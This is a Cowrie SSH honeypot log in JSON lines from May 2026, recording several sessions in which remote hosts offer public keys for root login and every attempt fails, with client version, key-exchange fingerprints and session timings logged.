{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:64:f9:32:3c:69:91:6a:e9:72:61:41:ed:b5:ad:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYSFKM2CzokIx3pxDLcTeYvuufBDaWEIuYc4HkfdIYer6W2IZ0/wKMEKY9vXHCJM23f+UR7Z8zMkZuTcBa/1dpZJBh3q/hgl/ShEXiVxaAKZbB4/lgDBr3vk0ayEWzoJRIEKUiy03xRLKB6yeWHerCgcK73WhqLvbWj32ljfTFO+EkHpYSIEegrwsk/ImkHOx+8okJaltsDRZq9wTHNFkWviKCQHNV50YVItt9SlC98syxTRxFG2q3q46U10PQYLX6S0wyDJOCMU/TFVynnxWN1SqPdPoMwUHDazqixkUaPUx8hyqAzepRux8Kqlne3YCLpI3fZWOhS9Plxl8rYXqsMar+BtYfGX+a2AbAjZLmLts4DVTAS5VIjHUpOoLEO33m2qwJxvLti1KSuq8EZcndWQytqsuIevIo/S1D0yce9xMDy2N0uUnx7d8tJAhLmT6Ti1GhlE0dCVPXyHP93lxQncCYvsHnU94R+6FR2WMIJ7DT1djAEXyZ173C69aLhJs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:64:f9:32:3c:69:91:6a:e9:72:61:41:ed:b5:ad:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:24.296325Z","src_ip":"5.223.67.133","session":"178f4902a609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:64:f9:32:3c:69:91:6a:e9:72:61:41:ed:b5:ad:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYSFKM2CzokIx3pxDLcTeYvuufBDaWEIuYc4HkfdIYer6W2IZ0/wKMEKY9vXHCJM23f+UR7Z8zMkZuTcBa/1dpZJBh3q/hgl/ShEXiVxaAKZbB4/lgDBr3vk0ayEWzoJRIEKUiy03xRLKB6yeWHerCgcK73WhqLvbWj32ljfTFO+EkHpYSIEegrwsk/ImkHOx+8okJaltsDRZq9wTHNFkWviKCQHNV50YVItt9SlC98syxTRxFG2q3q46U10PQYLX6S0wyDJOCMU/TFVynnxWN1SqPdPoMwUHDazqixkUaPUx8hyqAzepRux8Kqlne3YCLpI3fZWOhS9Plxl8rYXqsMar+BtYfGX+a2AbAjZLmLts4DVTAS5VIjHUpOoLEO33m2qwJxvLti1KSuq8EZcndWQytqsuIevIo/S1D0yce9xMDy2N0uUnx7d8tJAhLmT6Ti1GhlE0dCVPXyHP93lxQncCYvsHnU94R+6FR2WMIJ7DT1djAEXyZ173C69aLhJs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:24.300113Z","src_ip":"5.223.67.133","session":"178f4902a609","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:7c:64:35:ec:03:8e:56:de:7b:ce:ab:06:a9:ca:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCakZJCkyV67+YRSIS83pCvfK9o5Jc6ZSMQyRdxzYkHiHJMrlIvAeSbmOzPHTzyF42cb42SMlsibF4Bj8gaJljhQQoCo65u186Y5U1vb/fUO/IPL/JSnzIAX5VaIFpcdun9MMWAtncAT0KtWwkP5L5yNtavtsB9eyrd1RCnpTgIDHaynG51mshlJOoO16wEGhRIRNqPTkGs6zgmo+MP9cGVwUbPPYbneKi7Lpn+2Br2yKsjLFHcho3SxMIaVfcl9aiIQ5rpBpw0qq8oETvp+ATn6Nno7xJSSp+bPFIf8t2oApSy5AnYVRXCRVJaJPVHNNJWHICHLXVbSbr+2bq0VNdri8/ERuE0Ml2/CXfb7GL8l2uXNJS9mAOgfRS+H0AsxxGUN5wV5O3nYyaPiXWlLWDb/wG8+klOxL0XLotLYSdbum+RKs4G/TrIwFTGuea7W2yOYXN2NXBi+9vAaxi1i4pXSkcVhX/j6rcnLWL7tgS1omV19Exb/msrTrkkeCJhCoU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:7c:64:35:ec:03:8e:56:de:7b:ce:ab:06:a9:ca:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:24.557369Z","src_ip":"5.223.67.133","session":"178f4902a609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:7c:64:35:ec:03:8e:56:de:7b:ce:ab:06:a9:ca:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCakZJCkyV67+YRSIS83pCvfK9o5Jc6ZSMQyRdxzYkHiHJMrlIvAeSbmOzPHTzyF42cb42SMlsibF4Bj8gaJljhQQoCo65u186Y5U1vb/fUO/IPL/JSnzIAX5VaIFpcdun9MMWAtncAT0KtWwkP5L5yNtavtsB9eyrd1RCnpTgIDHaynG51mshlJOoO16wEGhRIRNqPTkGs6zgmo+MP9cGVwUbPPYbneKi7Lpn+2Br2yKsjLFHcho3SxMIaVfcl9aiIQ5rpBpw0qq8oETvp+ATn6Nno7xJSSp+bPFIf8t2oApSy5AnYVRXCRVJaJPVHNNJWHICHLXVbSbr+2bq0VNdri8/ERuE0Ml2/CXfb7GL8l2uXNJS9mAOgfRS+H0AsxxGUN5wV5O3nYyaPiXWlLWDb/wG8+klOxL0XLotLYSdbum+RKs4G/TrIwFTGuea7W2yOYXN2NXBi+9vAaxi1i4pXSkcVhX/j6rcnLWL7tgS1omV19Exb/msrTrkkeCJhCoU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:24.561468Z","src_ip":"5.223.67.133","session":"178f4902a609","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:b1:46:48:05:ab:34:65:9a:81:52:98:c6:32:fd:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfbmJXcWt5/FvDpM6hjnWUM+RvvunQWKFgnJmaOK1XsLm255XAZAKNRhAj/lWxBxfFTOISwIas1TLrsEFydFdXYzc0oKeCMCFacnga3c1AYpJhjf60DgvVb1NxsS67p/pOcc0iVlW27Fmrf4deX931AbXA+p/5abG6jVuTwZZgRtZvNhGhVreqvc1Beu5K69ESN/T+nTYXvYmXDAI1R8eDxGtxahYsIl0ML/aQfK+bwi68KEYK/M1ReVa+mCigWAFCJaE9j/cc34t4ZvwqL0NcIl/0Wzsle1cSG1nM0zvfnyWwB0ivPMJUXpYS0NVIZhTQBM+RnNGY+x+AkSs8LHh/X1qOd2bysJAK6BIxWjqbfxlcM802HIWaM2ZapOyLxgCq7TSz7t3JLsjRCFDvr3n8ULWOSDDEanETDshy4+w6XcvPfMFI55UKM0Jt367oiq59EuuVX8cAFlUgbgf5rPtdDePYzvv6N2ahvAv7Lg1VpEvlf+uyMaG4ZJT1AnlJ1FM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:b1:46:48:05:ab:34:65:9a:81:52:98:c6:32:fd:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:24.816124Z","src_ip":"5.223.67.133","session":"178f4902a609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:b1:46:48:05:ab:34:65:9a:81:52:98:c6:32:fd:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfbmJXcWt5/FvDpM6hjnWUM+RvvunQWKFgnJmaOK1XsLm255XAZAKNRhAj/lWxBxfFTOISwIas1TLrsEFydFdXYzc0oKeCMCFacnga3c1AYpJhjf60DgvVb1NxsS67p/pOcc0iVlW27Fmrf4deX931AbXA+p/5abG6jVuTwZZgRtZvNhGhVreqvc1Beu5K69ESN/T+nTYXvYmXDAI1R8eDxGtxahYsIl0ML/aQfK+bwi68KEYK/M1ReVa+mCigWAFCJaE9j/cc34t4ZvwqL0NcIl/0Wzsle1cSG1nM0zvfnyWwB0ivPMJUXpYS0NVIZhTQBM+RnNGY+x+AkSs8LHh/X1qOd2bysJAK6BIxWjqbfxlcM802HIWaM2ZapOyLxgCq7TSz7t3JLsjRCFDvr3n8ULWOSDDEanETDshy4+w6XcvPfMFI55UKM0Jt367oiq59EuuVX8cAFlUgbgf5rPtdDePYzvv6N2ahvAv7Lg1VpEvlf+uyMaG4ZJT1AnlJ1FM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:24.819965Z","src_ip":"5.223.67.133","session":"178f4902a609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:25.074030Z","src_ip":"5.223.67.133","session":"178f4902a609","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.45.201.189","src_port":41994,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2e9fba4d7e5","protocol":"ssh","message":"New connection: 89.45.201.189:41994 (10.17.0.5:22) [session: b2e9fba4d7e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:36.771561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:36.777477Z","src_ip":"89.45.201.189","session":"b2e9fba4d7e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:36.906263Z","src_ip":"89.45.201.189","session":"b2e9fba4d7e5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:d4:3a:41:42:fd:fb:1d:48:8a:8f:aa:0b:79:97:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxJtb4suJJlveNj/euQDyTnJzstYB2ignD9MyctJsuw/a2s7Lgqvq+cKPtPF9PTqJFTvFYZeg/hHdx+a+mJVO8hKxdIjLhh6t8jl2dBAMhtt7GcSgVpJhzkyYAMnIwXeXmb+/WWsHse3B3SWop4z89VFp9e41v5ocyB4PPpKze6MevdF+hb8uCH8Ckk9MjEJw9U7dGrv9lDxtwXeYnVArBf5nmKUAbQ6/0WBGV6V7OGW1pc0SdtV6Mkgu9PPf0IjRvTS6piAiYLUGmQH+dCz4kZiUS+GfhMRgsqxN1Tzq7Po5A9dgVTJkwKytH9yCpb/xmIxwX5x1fTZukKu90CzBp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:d4:3a:41:42:fd:fb:1d:48:8a:8f:aa:0b:79:97:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:37.499134Z","src_ip":"89.45.201.189","session":"b2e9fba4d7e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:d4:3a:41:42:fd:fb:1d:48:8a:8f:aa:0b:79:97:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxJtb4suJJlveNj/euQDyTnJzstYB2ignD9MyctJsuw/a2s7Lgqvq+cKPtPF9PTqJFTvFYZeg/hHdx+a+mJVO8hKxdIjLhh6t8jl2dBAMhtt7GcSgVpJhzkyYAMnIwXeXmb+/WWsHse3B3SWop4z89VFp9e41v5ocyB4PPpKze6MevdF+hb8uCH8Ckk9MjEJw9U7dGrv9lDxtwXeYnVArBf5nmKUAbQ6/0WBGV6V7OGW1pc0SdtV6Mkgu9PPf0IjRvTS6piAiYLUGmQH+dCz4kZiUS+GfhMRgsqxN1Tzq7Po5A9dgVTJkwKytH9yCpb/xmIxwX5x1fTZukKu90CzBp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:37.506500Z","src_ip":"89.45.201.189","session":"b2e9fba4d7e5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:84:94:25:de:d1:6c:d9:2f:1d:06:03:54:1d:d4:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOuabl5kaaRdstrF9XZssAzXjySSlzhDmQnbc0z7mOY5G7hi7vqsYff1NpIoyD/KcAY8fxu43cXZgV1JTGkuFuuTiAna2cflSnaY4B3PfmZGuFfsVkcNq4I70ubTEXNRY/OwcMVl1xiFt1ipIsFjiVS/PXLUtY8qKYpftaAOwI8GniKykPsg2jWPHm5vwnmJj2uRYrDD4w5X0muHr/YHFhQk5CM22gto3uhfqcbx8l6Acd1dFTChuc7Yn0jVxOarSC7cnrpow0XpZu5V+oIDbKl8p2Ui0SqfJECR4XC/8KPDgOyYYo/Jdq5LVjqsHJsK/M5eI2G4I1TmVH/8Hp4D3F3L2OE+N2xIDw9JfO7Lr+EnXBYXx8cvGVy+P9ofVXkZ8gJsD4gr+OelZUWMTfbkog8/ztZvDy//1CfmpLhqmIek1qmuWa8N1JgmTne1cJN5/BF7VSUHQS8mrwnHZJgs48Sn7h57i+bsa60CWyvzLvw/kJcsBSpiJwrX8BhFbL4haQkUk+dMIECUQbNOPxs3oKtAEgLOBkqgfLHjKI+fO9n58Ucd6EyJhFcECSTzEUnRYZYoOVvHEta/wTgRj4V6JpQHM/kKtFTf3O+OEgFFJ/UUD2OOv4bJDrn62Iz5Ig8OSctFJWaCYUu4oGbIucXTZUYd90ITs0aeP2mdBOVCQAgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:84:94:25:de:d1:6c:d9:2f:1d:06:03:54:1d:d4:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:37.629931Z","src_ip":"89.45.201.189","session":"b2e9fba4d7e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:84:94:25:de:d1:6c:d9:2f:1d:06:03:54:1d:d4:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOuabl5kaaRdstrF9XZssAzXjySSlzhDmQnbc0z7mOY5G7hi7vqsYff1NpIoyD/KcAY8fxu43cXZgV1JTGkuFuuTiAna2cflSnaY4B3PfmZGuFfsVkcNq4I70ubTEXNRY/OwcMVl1xiFt1ipIsFjiVS/PXLUtY8qKYpftaAOwI8GniKykPsg2jWPHm5vwnmJj2uRYrDD4w5X0muHr/YHFhQk5CM22gto3uhfqcbx8l6Acd1dFTChuc7Yn0jVxOarSC7cnrpow0XpZu5V+oIDbKl8p2Ui0SqfJECR4XC/8KPDgOyYYo/Jdq5LVjqsHJsK/M5eI2G4I1TmVH/8Hp4D3F3L2OE+N2xIDw9JfO7Lr+EnXBYXx8cvGVy+P9ofVXkZ8gJsD4gr+OelZUWMTfbkog8/ztZvDy//1CfmpLhqmIek1qmuWa8N1JgmTne1cJN5/BF7VSUHQS8mrwnHZJgs48Sn7h57i+bsa60CWyvzLvw/kJcsBSpiJwrX8BhFbL4haQkUk+dMIECUQbNOPxs3oKtAEgLOBkqgfLHjKI+fO9n58Ucd6EyJhFcECSTzEUnRYZYoOVvHEta/wTgRj4V6JpQHM/kKtFTf3O+OEgFFJ/UUD2OOv4bJDrn62Iz5Ig8OSctFJWaCYUu4oGbIucXTZUYd90ITs0aeP2mdBOVCQAgw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:37.634515Z","src_ip":"89.45.201.189","session":"b2e9fba4d7e5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:3a:36:53:4f:43:88:72:b3:5f:02:2d:ad:2f:8e:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHR2WIx+VssCdRqBcxuc+BXcP78ij0TvbYPEuIX4j/R1bKag55wOGUiqPwIRWhLoAije5jYRLKxpzqWU+ZCMSFGIDmbSkfLDL7glmyhU7NtUy6jJTRpCl/8nh63lghfA/WcsQ/5by9sJtmG5selk+b7yuceD9HmGji3BLXnIYUukS5nsK24ltD1tUdDA9e4i0cFfpSsh0nD0yFX+6BZBxfxeSLA9kYurdnHGYXwFGWy+0HQJb0HRfS8Hzza7k3q3P67irpTTZjDWkQDCKDJ8U6ztsX5v659zlFZteTnkpZi8XIbXWn0Abk8eYpE4YvVIReZatLVVRRc03RofPQaPE7hhbQ1AcfuqZgM9rU6yqIlTTkU3kxEfifcp8aNh16fsH9D41J+1Ulj/+UuEjnRW8GKpaEuWLXCXH7iKXWxYAgvs676ii9qfyBFHtmY3QI5ptaVX2VTf6lykRJz0OtJkMgVFr4mV33fIlMUPnwqEFIRb5zzcbEZQh+Lm/HoKS3JUm4KfAuHRKR2PQsEJzzsGZW+WqeAXg7wUWycbPjYhOq5Iwz/Li3Ran+fHdqeqbIszejpq4v0lhbL8kMYpYzCKC1sFTVw3YWfwv2ILTDpvLLjkssN/awsPX7UPfpKe8dEuivCXvOT5wTjNn9yxSEzs0BvrWPBFV7XGj17NZGOxzeIQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:3a:36:53:4f:43:88:72:b3:5f:02:2d:ad:2f:8e:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:37.758654Z","src_ip":"89.45.201.189","session":"b2e9fba4d7e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:3a:36:53:4f:43:88:72:b3:5f:02:2d:ad:2f:8e:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHR2WIx+VssCdRqBcxuc+BXcP78ij0TvbYPEuIX4j/R1bKag55wOGUiqPwIRWhLoAije5jYRLKxpzqWU+ZCMSFGIDmbSkfLDL7glmyhU7NtUy6jJTRpCl/8nh63lghfA/WcsQ/5by9sJtmG5selk+b7yuceD9HmGji3BLXnIYUukS5nsK24ltD1tUdDA9e4i0cFfpSsh0nD0yFX+6BZBxfxeSLA9kYurdnHGYXwFGWy+0HQJb0HRfS8Hzza7k3q3P67irpTTZjDWkQDCKDJ8U6ztsX5v659zlFZteTnkpZi8XIbXWn0Abk8eYpE4YvVIReZatLVVRRc03RofPQaPE7hhbQ1AcfuqZgM9rU6yqIlTTkU3kxEfifcp8aNh16fsH9D41J+1Ulj/+UuEjnRW8GKpaEuWLXCXH7iKXWxYAgvs676ii9qfyBFHtmY3QI5ptaVX2VTf6lykRJz0OtJkMgVFr4mV33fIlMUPnwqEFIRb5zzcbEZQh+Lm/HoKS3JUm4KfAuHRKR2PQsEJzzsGZW+WqeAXg7wUWycbPjYhOq5Iwz/Li3Ran+fHdqeqbIszejpq4v0lhbL8kMYpYzCKC1sFTVw3YWfwv2ILTDpvLLjkssN/awsPX7UPfpKe8dEuivCXvOT5wTjNn9yxSEzs0BvrWPBFV7XGj17NZGOxzeIQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:37.763078Z","src_ip":"89.45.201.189","session":"b2e9fba4d7e5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:4f:79:92:b0:d6:86:47:44:6f:98:f8:3b:b8:65:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZegb30m9Qa1QmFVdSwuFL+OFp/vc7yAGyCahEu9czmNpYThCc9+KLkXoC3oh0Y1h3ClMpfKKkQDLI5vrLpK+cbBtpHRl0E8SlFpuOxoTLfNrRH9xG8TAJaZ9F4tstoepfWBEcErNchYbRomxByf/Pz0sB5Gz0+8DAaNoFApZNw66LdyLFFg9QQMpQhQlpWvASOFA6MOoSj0W42jMegyzHlTmUJ0ZRbg69LjfWACpjKgmVT/12WvzQrDocn/wEJEP3J5kPuAvBRQY1zOA7MQOJEmshiJeWpKKneSp8K2kvkeL/R+36GFq5qFmP1vUZn5KBv8pNsp56fAIe7LNYeH0+6BQXZwKJwofE2ZEErkiEUgW2AiA66/JXe0u+bbabj9HmYB3xpAu4rhNDVLaAUeIN6ZcpKnPkMPAOh07PCkOR54F2eztyw86WUSme8BUGxVj3u6VlgMXqxjeF2J9j57xD41bdQGP1jWBQbs+wOod4VTXwTp9n43k7lkvARHSEGkihG4ip+iwm1cHVt3dKx8AY9F93IxlsIsSn8XM0mfSLIVAgDefAofzUAZaGBl4oYH6CpZ7XU3K4VYEPtbw9NvUK+b/qwlOOkoEYmrmGNrlOmSuOFPP11FosRr/8xVz2Y8w+aPiny5Cfmk0w7px+dR/zrIl7G+yPWYO+lbA55aemuQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:4f:79:92:b0:d6:86:47:44:6f:98:f8:3b:b8:65:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:37.886720Z","src_ip":"89.45.201.189","session":"b2e9fba4d7e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:4f:79:92:b0:d6:86:47:44:6f:98:f8:3b:b8:65:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZegb30m9Qa1QmFVdSwuFL+OFp/vc7yAGyCahEu9czmNpYThCc9+KLkXoC3oh0Y1h3ClMpfKKkQDLI5vrLpK+cbBtpHRl0E8SlFpuOxoTLfNrRH9xG8TAJaZ9F4tstoepfWBEcErNchYbRomxByf/Pz0sB5Gz0+8DAaNoFApZNw66LdyLFFg9QQMpQhQlpWvASOFA6MOoSj0W42jMegyzHlTmUJ0ZRbg69LjfWACpjKgmVT/12WvzQrDocn/wEJEP3J5kPuAvBRQY1zOA7MQOJEmshiJeWpKKneSp8K2kvkeL/R+36GFq5qFmP1vUZn5KBv8pNsp56fAIe7LNYeH0+6BQXZwKJwofE2ZEErkiEUgW2AiA66/JXe0u+bbabj9HmYB3xpAu4rhNDVLaAUeIN6ZcpKnPkMPAOh07PCkOR54F2eztyw86WUSme8BUGxVj3u6VlgMXqxjeF2J9j57xD41bdQGP1jWBQbs+wOod4VTXwTp9n43k7lkvARHSEGkihG4ip+iwm1cHVt3dKx8AY9F93IxlsIsSn8XM0mfSLIVAgDefAofzUAZaGBl4oYH6CpZ7XU3K4VYEPtbw9NvUK+b/qwlOOkoEYmrmGNrlOmSuOFPP11FosRr/8xVz2Y8w+aPiny5Cfmk0w7px+dR/zrIl7G+yPWYO+lbA55aemuQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:37.891521Z","src_ip":"89.45.201.189","session":"b2e9fba4d7e5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:db:ec:7b:9e:14:4f:90:b7:df:2c:bf:56:f2:55:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClL/ctns23hP/ODGJC7vgUJTKW1RHEKZGpZ2F7zU+HEm7/TFT/MzFRxr0Nxa39i7w1kIS5NXXO/rx1JhnxdnoalU3hvi2qmvv0JrXOylG0rTclMUjIrbIKA74PYbJL8UJUSY/8S00ImYxAlkoQrkk/Ss1RXI/h5YJJHkqmEu/ku6mXbtMAwzmfM1WTtS2vRCzl6x9QB10wRVrIGPglvaH7y4rMilOwELeCJ5dcM6so0YFe9D6orUeT/59+7onzQnoHK8MiFbp4huL6/C+QFgX3V1INrZIiWs6QUh4yw+NddloulC4jj1+jKfQ7LxSOsKwHUNx1e/cBGN9Jai8Qrqkl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:db:ec:7b:9e:14:4f:90:b7:df:2c:bf:56:f2:55:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:38.015432Z","src_ip":"89.45.201.189","session":"b2e9fba4d7e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:db:ec:7b:9e:14:4f:90:b7:df:2c:bf:56:f2:55:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClL/ctns23hP/ODGJC7vgUJTKW1RHEKZGpZ2F7zU+HEm7/TFT/MzFRxr0Nxa39i7w1kIS5NXXO/rx1JhnxdnoalU3hvi2qmvv0JrXOylG0rTclMUjIrbIKA74PYbJL8UJUSY/8S00ImYxAlkoQrkk/Ss1RXI/h5YJJHkqmEu/ku6mXbtMAwzmfM1WTtS2vRCzl6x9QB10wRVrIGPglvaH7y4rMilOwELeCJ5dcM6so0YFe9D6orUeT/59+7onzQnoHK8MiFbp4huL6/C+QFgX3V1INrZIiWs6QUh4yw+NddloulC4jj1+jKfQ7LxSOsKwHUNx1e/cBGN9Jai8Qrqkl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:38.019408Z","src_ip":"89.45.201.189","session":"b2e9fba4d7e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:38.144866Z","src_ip":"89.45.201.189","session":"b2e9fba4d7e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":31154,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cdd397b40ba","protocol":"ssh","message":"New connection: 165.154.36.71:31154 (159.203.135.109:22) [session: 0cdd397b40ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:41.764689Z"}
